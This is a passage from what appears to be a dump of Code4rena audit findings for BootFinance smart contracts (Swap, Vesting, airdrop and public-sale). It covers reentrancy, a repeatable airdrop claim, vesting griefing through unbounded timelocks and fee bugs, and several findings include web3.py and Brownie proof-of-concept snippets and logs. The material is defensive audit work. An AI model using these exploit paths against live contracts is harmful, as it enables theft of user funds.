[18, 18], 'lp', 'lp', 1, 85, 10**7, 0, 0, 4* 10**18) link.functions.approve(swap.address, deposit_amount).transact() dai.functions.approve(swap.address, deposit_amount).transact() previous_lp = lptoken.functions.balanceOf(user).call() swap.functions.addLiquidity([deposit_amount, deposit_amount // 10], 10, 10**18).transact() post_lp = lptoken.functions.balanceOf(user).call() print('get lp', post_lp - previous_lp) ``` For the second pool, one we deposit more dai. ```python swap = deploy_contract('Swap' [dai.address, link.address], [18, 18], 'lp', 'lp', 1, 85, 10**7, 0, 0, 4* 10**18) link.functions.approve(swap.address, deposit_amount).transact() dai.functions.approve(swap.address, deposit_amount).transact() previous_lp = lptoken.functions.balanceOf(user).call() swap.functions.addLiquidity([deposit_amount, deposit_amount // 10], 10, 10**18).transact() post_lp = lptoken.functions.balanceOf(user).call() print('get lp', post_lp - previous_lp) ``` We can get roughly 4x more lp in the first case ## Tools Used None ## Recommended Mitigation Steps The current implementation uses `self.balances` https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L1231-L1236 ```soliditiy for (uint256 i = 0; i < self.pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); newBalances[i] = newBalances[i].sub(fees[i]); } ``` Replaces `self.balances` with `_xp(self, newBalances)` would be a simple fix. I consider the team can take balance's weighted pool as a reference. [WeightedMath.sol#L149-L179](https://github.com/balancer-labs/balancer-v2-monorepo/blob/7ff72a23bae6ce0eb5b134953cc7d5b79a19d099/pkg/pool-weighted/contracts/WeightedMath.sol#L149-L179) "}, {"title": "Reentrancy", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/148", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle 0v3rf10w # Vulnerability details ## Impact Multiple Reentrancy ## Proof of Concept Reentrancy in BasicSale.receive() (tge/contracts/PublicSale.sol#148-156) Reentrancy in BasicSale.burnEtherForMember(address) (tge/contracts/PublicSale.sol#158-166) State variables written after the external call(s) in all above. ## Tools Used Manual ## Recommended Mitigation Steps "}, {"title": "block timestamp", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/147", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-bootfinance-findings", "body": "block timestamp"}, {"title": "Missing Zero-check", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/146", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle 0v3rf10w # Vulnerability details ## Impact Missing Zero address check ## Proof of Concept BasicSale.constructor(IERC20,IERC721,IVesting,uint256,uint256,uint256,uint256,address)._burnAddress (tge/contracts/PublicSale.sol#112) lacks a zero-check on :- burnAddress = _burnAddress (tge/contracts/PublicSale.sol#137) ## Tools Used Manual ## Recommended Mitigation Steps Check that the address is zero "}, {"title": "Unchecked low-level calls", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/145", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle 0v3rf10w # Vulnerability details ## Impact Unchecked low-level calls ## Proof of Concept Unchecked cases at 2 places :- BasicSale.receive() (2021-11-bootfinance/tge/contracts/PublicSale.sol#148-156) ignores return value by burnAddress.call{value: msg.value}() (2021-11-bootfinance/tge/contracts/PublicSale.sol#154) BasicSale.burnEtherForMember(address) (2021-11-bootfinance/tge/contracts/PublicSale.sol#158-166) ignores return value by burnAddress.call{value: msg.value}() (2021-11-bootfinance/tge/contracts/PublicSale.sol#164) ## Tools Used Manual ## Recommended Mitigation Steps The return value of the low-level call is not checked, so if the call fails, the Ether will be locked in the contract. If the low level is used to prevent blocking operations, consider logging failed calls. "}, {"title": "Can not update target price", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/143", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact The sanity checks in `rampTargetPrice` are broken [SwapUtils.sol#L1571-L1581](https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L1571-L1581) ```solidity if (futureTargetPricePrecise < initialTargetPricePrecise) { require( futureTargetPricePrecise.mul(MAX_RELATIVE_PRICE_CHANGE).div(WEI_UNIT) >= initialTargetPricePrecise, \"futureTargetPrice_ is too small\" ); } else { require( futureTargetPricePrecise <= initialTargetPricePrecise.mul(MAX_RELATIVE_PRICE_CHANGE).div(WEI_UNIT), \"futureTargetPrice_ is too large\" ); } ``` If `futureTargetPricePrecise` is smaller than `initialTargetPricePrecise` 0.01 of `futureTargetPricePrecise` would never larger than `initialTargetPricePrecise`. Admin would not be able to ramp the target price. As it's one of the most important features of the customswap, I consider this is a high-risk issue ## Proof of Concept Here's a web3.py script to demo that it's not possible to change the target price even by 1 wei. ```python p1, p2, _, _ =swap.functions.targetPriceStorage().call() future = w3.eth.getBlock(w3.eth.block_number)['timestamp'] + 200 * 24 * 3600 # futureTargetPrice_ is too small swap.functions.rampTargetPrice(p1 -1, future).transact() # futureTargetPrice_ is too large swap.functions.rampTargetPrice(p1 + 1, future).transact() ``` ## Tools Used None ## Recommended Mitigation Steps Would it be something like: ```solidity if (futureTargetPricePrecise < initialTargetPricePrecise) { require( futureTargetPricePrecise.mul(MAX_RELATIVE_PRICE_CHANGE + WEI_UNIT).div(WEI_UNIT) >= initialTargetPricePrecise, \"futureTargetPrice_ is too small\" ); } else { require( futureTargetPricePrecise <= initialTargetPricePrecise.mul(MAX_RELATIVE_PRICE_CHANGE + WEI_UNIT).div(WEI_UNIT), \"futureTargetPrice_ is too large\" ); } ``` I believe the dev would spot this mistake if there's a more relaxed timeline. "}, {"title": "Unclear Commented Out Code", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/140", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle ye0lde # Vulnerability details # Vulnerability details ## Impact I'm not sure why some of this code is commented out. It could point to items that are not done or need redesigning, be a mistake, or just be testing overhead. ## Proof of Concept The commented out code is here: Unclear: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/Vesting.sol#L27 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/Vesting.sol#L76 Obviously Test related: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/customswap/contracts/Swap.sol#L187 Guarded launch: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/customswap/contracts/Swap.sol#L42-L49 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/customswap/contracts/Swap.sol#L201-L204 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/customswap/contracts/Swap.sol#L235-L237 ## Tools Used VS Code ## Recommended Mitigation Steps Review and remove or resolve/document the commented out lines if needed. "}, {"title": "Rearrange state variables", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/138", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details ## Impact In BTCPoolDelegator contract, address state variables `future_owner` in lines 51 and bool state variable `is_killed` in line 55 should be placed one after another. solidity keep storage in 32 bytes slot and can optimize multiple variables that are less than 32 bytes. address is 20 bytes and bool is 1 byte, so it can be placed in one storage slot instead of two. ## Proof of Concept Tested it on Remix, saves 50 gas per transaction ## Recommended Mitigation Steps change ``` 50 uint256 public future_admin_fee; 51 address public future_owner; 52 53 uint256 kill_deadline; 54 uint256 constant kill_deadline_dt = 2 * 30 * 86400; 54 bool is_killed; ``` to ``` 50 uint256 public future_admin_fee; 51 uint256 constant kill_deadline_dt = 2 * 30 * 86400; 52 53 uint256 kill_deadline; 54 address public future_owner; 54 bool is_killed; ``` "}, {"title": "Require statement missing in fallback and burnEtherForMember() functions", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/137", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Reigada # Vulnerability details ## Impact The contract BasicSale contains a fallback function and a burnEtherForMember() function with exactly the same implementation. These 2 functions do the following call: _recordBurn(msg.sender, msg.sender, currentEra, currentDay, msg.value); The _recordBurn function contains the following if block: if (mapEraDay_MemberUnits[_era][_day][_member] == 0) { // If hasn't contributed to this Day yet mapMemberEra_Days[_member][_era].push(_day); // Add it mapEraDay_MemberCount[_era][_day] += 1; // Count member mapEraDay_Members[_era][_day].push(_member); // Add member } What does this mean? If a user performs multiple calls to the contract sending 0 ether as msg.value, the if block will be entered and a new key will be pushed to the mapping. Luckily the cost of an addition to or a read from a mapping does not change with the number of keys mapped. But this would totally mess the function getDaysContributedForEra output. Currently this function is only used as a view function, and not used by the smart contract itself. But it's a risk for future implementations that may make use of it. ## Proof of Concept >>> user2.transfer(to=publicsale.address, amount=0) Transaction sent: 0xd65ffecd5052314bc09f616461ff6aa9efeb857151c0339dc15653fb90ebb91f Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0 Transaction confirmed Block: 13577879 Gas used: 117368 (1.75%) >>> publicsale.getDaysContributedForEra(user2.address, 1) 1 >>> user2.transfer(to=publicsale.address, amount=0) Transaction sent: 0x0a48f89c1266af2c3eea5cdcec93dae76e4ed2a0936e53e8713d669989b88b19 Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1 Transaction confirmed Block: 13577880 Gas used: 91568 (1.36%) >>> publicsale.getDaysContributedForEra(user2.address, 1) 2 >>> user2.transfer(to=publicsale.address, amount=0) Transaction sent: 0xeb85e31664eb1578f54daba1be112f9533948d0e2414510874ed55fbb3a9a9e0 Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2 Transaction confirmed Block: 13577881 Gas used: 91568 (1.36%) >>> publicsale.getDaysContributedForEra(user2.address, 1) 3 ## Tools Used Manual testing ## Recommended Mitigation Steps Add the following require statement to the fallback and the burnEtherForMember() functions: require(msg.value > 0, \"Some ether should be sent\") "}, {"title": "Contract BasicSale is missing an approve(address(vestLock), 2**256-1) call", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/135", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Reigada # Vulnerability details ## Impact As we can see in the contracts AirdropDistribution and InvestorDistribution, they both have the following approve() call: mainToken.approve(address(vestLock), 2**256-1); https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L499 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L80 This is necessary because both contracts transfer tokens to the vesting contract by calling its vest() function: https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L544 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L569 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L134 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L158 The code of the vest() function in the Vesting contract performs a transfer from msg.sender to Vesting contract address -> vestingToken.transferFrom(msg.sender, address(this), _amount); https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L95 Same is done in the BasicSale contract: https://github.com/code-423n4/2021-11-bootfinance/blob/main/tge/contracts/PublicSale.sol#L225 The problem is that this contract is missing the approve() call. For that reason, the contract is totally useless as the function _withdrawShare() will always revert with the following message: revert reason: ERC20: transfer amount exceeds allowance. This means that all the mainToken sent to the contract would be stuck there forever. No way to retrieve them. How this issue was not detected in the testing phase? Very simple. The mock used by the team has an empty vest() function that performs no transfer call. https://github.com/code-423n4/2021-11-bootfinance/blob/main/tge/contracts/helper/MockVesting.sol#L10 ## Proof of Concept See below Brownie's custom output: Calling -> publicsale.withdrawShare(1, 1, {'from': user2}) Transaction sent: 0x9976e4f48bd14f9be8e3e0f4d80fdb8f660afab96a7cbd64fa252510154e7fde Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 5 BasicSale.withdrawShare confirmed (ERC20: transfer amount exceeds allowance) Block: 13577532 Gas used: 323334 (4.81%) Call trace for '0x9976e4f48bd14f9be8e3e0f4d80fdb8f660afab96a7cbd64fa252510154e7fde': Initial call cost [21344 gas] BasicSale.withdrawShare 0:3724 [16114 / -193010 gas] \u251c\u2500\u2500 BasicSale._withdrawShare 111:1109 [8643 / 63957 gas] \u2502 \u251c\u2500\u2500 BasicSale._updateEmission 116:405 [53294 / 55739 gas] \u2502 \u2502 \u2514\u2500\u2500 BasicSale.getDayEmission 233:248 [2445 gas] \u2502 \u251c\u2500\u2500 BasicSale._processWithdrawal 437:993 [-7726 / -616 gas] \u2502 \u2502 \u251c\u2500\u2500 BasicSale.getEmissionShare 484:859 [4956 / 6919 gas] \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500\u2500 MockERC20.balanceOf [STATICCALL] 616:738 [1963 gas] \u2502 \u2502 \u2502 \u251c\u2500\u2500 address: mockerc20.address \u2502 \u2502 \u2502 \u251c\u2500\u2500 input arguments: \u2502 \u2502 \u2502 \u2502 \u2514\u2500\u2500 account: publicsale.address \u2502 \u2502 \u2502 \u2514\u2500\u2500 return value: 100000000000000000000 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500\u2500 SafeMath.sub 924:984 [191 gas] \u2502 \u2514\u2500\u2500 SafeMath.sub 1040:1100 [191 gas] \u2502 \u251c\u2500\u2500 MockERC20.transfer [CALL] 1269:1554 [1115 / 30109 gas] \u2502 \u2502 \u251c\u2500\u2500 address: mockerc20.address \u2502 \u2502 \u251c\u2500\u2500 value: 0 \u2502 \u2502 \u251c\u2500\u2500 input arguments: \u2502 \u2502 \u2502 \u251c\u2500\u2500 recipient: user2.address \u2502 \u2502 \u2502 \u2514\u2500\u2500 amount: 27272727272727272727 \u2502 \u2502 \u2514\u2500\u2500 return value: True \u2502 \u2502 \u2502 \u2514\u2500\u2500 ERC20.transfer 1366:1534 [50 / 28994 gas] \u2502 \u2514\u2500\u2500 ERC20._transfer 1374:1526 [28944 gas] \u2514\u2500\u2500 Vesting.vest [CALL] 1705:3712 [-330491 / -303190 gas] \u2502 \u251c\u2500\u2500 address: vesting.address \u2502 \u251c\u2500\u2500 value: 0 \u2502 \u251c\u2500\u2500 input arguments: \u2502 \u2502 \u251c\u2500\u2500 _beneficiary: user2.address \u2502 \u2502 \u251c\u2500\u2500 _amount: 63636363636363636363 \u2502 \u2502 \u2514\u2500\u2500 _isRevocable: 0 \u2502 \u2514\u2500\u2500 revert reason: ERC20: transfer amount exceeds allowance <------------- \u2502 \u251c\u2500\u2500 SafeMath.add 1855:1883 [94 gas] \u251c\u2500\u2500 SafeMath.add 3182:3210 [94 gas] \u251c\u2500\u2500 SafeMath.add 3236:3264 [94 gas] \u2502 \u2514\u2500\u2500 MockERC20.transferFrom [CALL] 3341:3700 [99923 / 27019 gas] \u2502 \u251c\u2500\u2500 address: mockerc20.address \u2502 \u251c\u2500\u2500 value: 0 \u2502 \u251c\u2500\u2500 input arguments: \u2502 \u2502 \u251c\u2500\u2500 sender: publicsale.address \u2502 \u2502 \u251c\u2500\u2500 recipient: vesting.address \u2502 \u2502 \u2514\u2500\u2500 amount: 63636363636363636363 \u2502 \u2514\u2500\u2500 revert reason: ERC20: transfer amount exceeds allowance \u2502 \u2514\u2500\u2500 ERC20.transferFrom 3465:3700 [-97648 / -72904 gas] \u2514\u2500\u2500 ERC20._transfer 3473:3625 [24744 gas] ## Tools Used Manual testing ## Recommended Mitigation Steps The following approve() call should be added in the constructor of the BasicSale contract: mainToken.approve(address(vestLock), 2**256-1); "}, {"title": "uint256 is always >= 0", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Impact Gas optimization ## Proof of Concept On Swap.sol at L190 and L191, it is checked that whether _a and _a2 is bigger equal to 0. Since they are both uint256, this condition is always satisfied. Therefore, those conditions are not required. ## Tools Used Manual analysis "}, {"title": "Overwrite benRevocable", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/132", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Anyone can call the function vest() of Vesting.sol, for example with a smail \"_amount\" of tokens, for any _beneficiary. The function overwrites the value of benRevocable[_beneficiary], effectively erasing any previous value. So you can set any _beneficiary to Revocable. Although revoke() is only callable by the owner, this is circumventing the entire mechanism of benRevocable. ## Proof of Concept // https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/Vesting.sol#L73-L98 function vest(address _beneficiary, uint256 _amount, uint256 _isRevocable) external payable whenNotPaused { ... if(_isRevocable == 0){ benRevocable[_beneficiary] = [false,false]; // just overwrites the value } else if(_isRevocable == 1){ benRevocable[_beneficiary] = [true,false]; // just overwrites the value } ## Tools Used ## Recommended Mitigation Steps Whitelist the calling of vest() Or check if values for benRevocable are already set. "}, {"title": "Investor can't claim the last tokens (via claim() )", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/131", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Suppose you are an investor and want to claim the last part of your claimable tokens (or your entire set of claimable tokens if you haven't claimed anything yet). Then you call the function claim() of InvestorDistribution.sol, which has the following statement: \"require(investors[msg.sender].amount - claimable != 0);\" This statement will prevent you from claiming your tokens because it will stop execution. Note: with the function claimExact() it is possible to claim the last part. ## Proof of Concept // https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/InvestorDistribution.sol#L113-L128 function claim() external nonReentrant { ... require(investors[msg.sender].amount - claimable != 0); investors[msg.sender].amount -= claimable; ## Tools Used ## Recommended Mitigation Steps Remove the require statement. "}, {"title": "Can't claim last part of airdrop", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/130", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Suppose you are eligible for the last part of your airdrop (or your entire airdrop if you haven't claimed anything yet). Then you call the function claim() of AirdropDistribution.sol, which has the following statement: \"assert(airdrop[msg.sender].amount - claimable != 0);\" This statement will prevent you from claiming your airdrop because it will stop execution. Note: with the function claimExact() it is possible to claim the last part. ## Proof of Concept // https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/AirdropDistribution.sol#L522-L536 function claim() external nonReentrant { .. assert(airdrop[msg.sender].amount - claimable != 0); airdrop[msg.sender].amount -= claimable; ## Tools Used ## Recommended Mitigation Steps Remove the assert statement. Also add the following to validate() , to prevent claiming the airdrop again: require(validated[msg.sender]== 0, \"Already validated.\"); "}, {"title": "Claim airdrop repeatedly", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/129", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Suppose someone claims the last part of his airdrop via claimExact() of AirdropDistribution.sol Then airdrop[msg.sender].amount will be set to 0. Suppose you then call validate() again. The check \"airdrop[msg.sender].amount == 0\" will allow you to continue, because amount has just be set to 0. In the next part of the function, airdrop[msg.sender] is overwritten with fresh values and airdrop[msg.sender].claimed will be reset to 0. Now you can claim your airdrop again (as long as there are tokens present in the contract) Note: The function claim() prevents this from happening via \"assert(airdrop[msg.sender].amount - claimable != 0);\", which has its own problems, see other reported issues. ## Proof of Concept // https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/AirdropDistribution.sol#L555-L563 function claimExact(uint256 _value) external nonReentrant { require(msg.sender != address(0)); require(airdrop[msg.sender].amount != 0); uint256 avail = _available_supply(); uint256 claimable = avail * airdrop[msg.sender].fraction / 10**18; // if (airdrop[msg.sender].claimed != 0){ claimable -= airdrop[msg.sender].claimed; } require(airdrop[msg.sender].amount >= claimable); // amount can be equal to claimable require(_value <= claimable); // _value can be equal to claimable airdrop[msg.sender].amount -= _value; // amount will be set to 0 with the last claim // https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/vesting/contracts/AirdropDistribution.sol#L504-L517 function validate() external nonReentrant { ... require(airdrop[msg.sender].amount == 0, \"Already validated.\"); ... Airdrop memory newAirdrop = Airdrop(airdroppable, 0, airdroppable, 10**18 * airdroppable / airdrop_supply); airdrop[msg.sender] = newAirdrop; validated[msg.sender] = 1; // this is set, but isn't checked on entry of this function ## Tools Used ## Recommended Mitigation Steps Add the following to validate() : require(validated[msg.sender]== 0, \"Already validated.\"); "}, {"title": "No event was emitted while setting fees and admin_fees in constructor", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/128", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact Event should be emitted after sensitive action like setting fees, admin_fees otherwise it will be difficult track offchain fees changes ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/core-contracts/contracts/sol/BTCPoolDelegator.sol#L57 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/core-contracts/contracts/sol/ETHPoolDelegator.sol#L58 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/core-contracts/contracts/sol/USDPoolDelegator.sol#L53 ## Tools Used manual review ## Recommended Mitigation Steps event should be emitted after the sensitive action "}, {"title": "No checking of admin_fee, wether it is <= max_admin_fee ", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/127", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact due to lack of checking admin_fee, it can be greater than max_admin_fee ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/core-contracts/contracts/sol/BTCPoolDelegator.sol#L57 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/core-contracts/contracts/sol/ETHPoolDelegator.sol#L58 https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/core-contracts/contracts/sol/USDPoolDelegator.sol#L53 ## Tools Used manual review ## Recommended Mitigation Steps add input validation for admin_fee "}, {"title": "claimExact does not check claimable amount", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/126", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle nathaniel # Vulnerability details ## Impact Inconsistency between the `claim()` function and `claimExact()` function, in that `claimExact` does not check the claimable amount. In the scenario where claimable = 0, and `investors[msg.sender].claimed != 0` then it will attempt to underflow. If `_amount` is 0, then it could potentially reach the `vestLock.vest()` function, where it will then revert with the inaccurate message \"amount must be positive\" which doesn't reflect the underlying issue. ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L145 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L121 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L75 ## Tools Used manual review ## Recommended Mitigation Steps Add `require(claimable > 0)` "}, {"title": "Renaming variables for clarity", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/125", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle nathaniel # Vulnerability details ## Impact `amount` in the `Investors` struct is vague. It would be assumed to be the invested amount, however this amount decreases when the beneficiary claims. A more appropriate name could be `unclaimed_amount`. `claimable_to_send` is not appropriate name in the `claimExact()` function, as it is not the claimable total, instead `exact_claim_to_send` would make more sense. ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L24 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L155 "}, {"title": "Public functions can be external", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle nathaniel # Vulnerability details ## Impact Functions include `updateEmission(), dev_rugpull(), setAdmin(), revoke() ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L185 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L203 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L212 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L104 "}, {"title": "Unable to claim vesting due to unbounded timelock loop", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/120", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle nathaniel # Vulnerability details ## Impact The timelocks for any *beneficiary* are unbounded, and can be vested by someone who is not the *beneficiary*. When the array becomes significantly big enough, the vestments will no longer be claimable for the *beneficiary*. The `vest()` function in Vesting.sol does not check the *beneficiary*, hence anyone can vest for anyone else, pushing a new timelock to the `timelocks[_beneficiary]`. The `_claimableAmount()` function (used by `claim()` function), then loops through the `timelocks[_beneficiary]` to determine the amount to be claimed. A malicious actor can easy repeatedly call the `vest()` function with minute amounts to make the array large enough, such that when it comes to claiming, it will exceed the gas limit and revert, rendering the vestment for the beneficiary unclaimable. The malicious actor could do this to each *beneficiary*, locking up all the vestments. ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L81 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L195 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L148 ## Tools Used Manual code review ## Recommended Mitigation Steps - Create a minimum on the vestment amounts, such that it won't be feasible for a malicious actor to create a large amount of vestments. - Restrict the vestment contribution of a *beneficiary* where `require(beneficiary == msg.sender)` "}, {"title": "Function _getDayEmission can be simplified (PublicSale.sol)", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/118", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Code clarity ## Proof of Concept The function is here: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L291-L298 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps I suggest making the changes below to simplify: function getDayEmission() public view returns (uint) { return (remainingSupply > emission ? emission : remainingSupply); } "}, {"title": "Cache Reference To State Variables \"currentDay, currentEra, emission\" in _updateEmission (PublicSale.sol)", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Cache Reference To State Variables \"currentDay, currentEra, emission\" in _updateEmission (PublicSale.sol) Caching the references to \"currentDay, currentEra, emission\" will decrease gas usage. ## Proof of Concept The variables \"currentDay, currentEra, emission\" are referenced 20 times in function \"_updateEmission\" here: https://github.com/code-423n4/2021-11-bootfinance/blob/7c457b2b5ba6b2c887dafdf7428fd577e405d652/tge/contracts/PublicSale.sol#L247-L276 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps I suggest making the changes below to cache those variables: function _updateEmission() private { uint _now = block.timestamp; // Find now() if (_now >= nextDayTime) { // If time passed the next Day time uint256 _currentDay = currentDay; uint256 _currentEra = currentEra; uint256 _emission = emission; if (remainingSupply > _emission) { remainingSupply -= _emission; } else { remainingSupply = 0; } if (_currentDay >= daysPerEra) { // If time passed the next Era time _currentEra += 1; _currentDay = 0; // Increment Era, reset Day nextEraTime = _now + (secondsPerDay * daysPerEra); // Set next Era time _emission = getNextEraEmission(); // Get correct emission mapEra_Emission[currentEra] = _emission; // Map emission to Era emit NewEra(_currentEra, _emission, nextEraTime, totalBurnt); // Emit Event } _currentDay += 1; // Increment Day nextDayTime = _now + secondsPerDay; // Set next Day time _emission = getDayEmission(); // Check daily Dmission mapEraDay_EmissionRemaining[_currentEra][_currentDay] = _emission; // Map emission to Day uint _era = _currentEra; uint _day = _currentDay - 1; if (_currentDay == 1) { 